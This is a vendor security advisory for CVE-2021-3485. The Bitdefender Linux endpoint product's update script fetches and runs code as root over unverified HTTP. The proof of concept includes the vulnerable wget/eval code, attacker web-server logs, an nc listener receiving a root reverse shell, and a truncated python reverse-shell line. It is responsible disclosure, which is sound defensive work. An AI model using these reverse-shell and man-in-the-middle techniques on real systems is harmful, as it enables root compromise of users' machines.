usd-2021-0014 | BitDefender Endpoint Security Tools for Linux


Advisory ID: usd-2021-0014
CVE Number: CVE-2021-3485
Affected Product: Bitdefender Endpoint Security Tools for Linux
Affected Version: < 6.2.21.155
Vulnerability Type: Improper Input Validation (CWE-20)
Security Risk: Medium
Vendor URL: https://www.bitdefender.com/
Vendor Status: Fixed

Description

The BitDefender Endpoint Security Tools Product Update uses an insecure way of performing product updates. An Attacker in a man-in-the-middle position can exploit this and gain remote code execution as root.

The vulnerable part of the application is the update mechanism called „product-update“. It uses an insecure channel to receive the content of the update.

Proof of Concept (PoC)

The vulnerable Code is inside the DownloadFile function of the product-update bash script. In the following, one can see a code snippet from the file. The RunCommand function is a wrapper for eval assuring that the command is run as root.

DownloadFile ()
{
#proxy download
eval RunCommand ‘ftp_proxy=”http://$proxyHost” \
http_proxy=”http://$proxyHost” \
https_proxy=”https://$proxyHost” \
wget –no-check-certificate ${opts} -q -T 60 –tries=2 -O \”${to}\” \”${from}\” \
&& Log append “Done.” && DWL_METHOD=”wget_proxy” && return 0’
[…]
#direct download
eval RunCommand ‘wget –no-check-certificate ${opts} -q -T 60 –tries=2 -O “\”${to}\”” ${from}’ \
&& USE_PROXY=”N” && DWL_METHOD=”wget_direct” && Log append “Done.” && return 0
[…]
}

As one can see, the file download is done using wget with the –no-check-certificate flag. In our examined test setup BitDefender used HTTP instead of HTTPS anyway.

The path to gain remote code execution is as follows:

[…]
DownloadFile “${setupdir}/${verfile}” “${URL}/${verfile}” || RET=1
[…]
#download new script and run it with same params
NEW_SCRIPT_URL+=”/${newscript}”

DownloadFile “${SCRIPTDIR}/${newscript}” “${NEW_SCRIPT_URL}”
RunCommand “chmod +x \”${SCRIPTDIR}/${newscript}\””
[…]
RunCommand “\”${SCRIPTDIR}/${newscript}\” $*”
[…]

On the attacker Webserver this can be observed as:

“GET http://192.168.1.144:7074//bst_nix/latest_rings.dat HTTP/1.1” 200 –
“GET http://192.168.1.144:7074//bst_nix/0.0.0.0/linux-amd64//version.txt HTTP/1.1” 200 –
“GET http://192.168.1.144:7074//bst_nix/0.0.0.0/downloader.sh HTTP/1.1” 200 –

When a python reverse shell is used the product-update script will connect back:

# nc -l -p 4242 -v
Listening on [0.0.0.0] (family 2, port 4242)
Connection from cq-1120 33730 received!

root@cq-1120:/opt/BitDefender/bin# id
uid=0(root) gid=0(root) groups=0(root)

In the following process list output can be observed, that the python script is a child of the product update:

root 3237 0.0 0.0 24856 3884 tty1 S+ 02:18 0:00 \_ /bin/bash ./product-update
root 3238 0.0 0.1 44552 10464 tty1 S+ 02:18 0:00 \_ python -c import socket,subprocess[…]
root 3239 0.0 0.0 22488 3452 pts/0 Ss+ 02:18 0:00 \_ /bin/bash

Fix

It is recommended to use industry proven schemes to implement a software update. This is relying on a secure channel for communication and signing update binaries with a manufacturer private key.

Timeline

Credits

This security vulnerability was found by Ralf Almon of usd AG.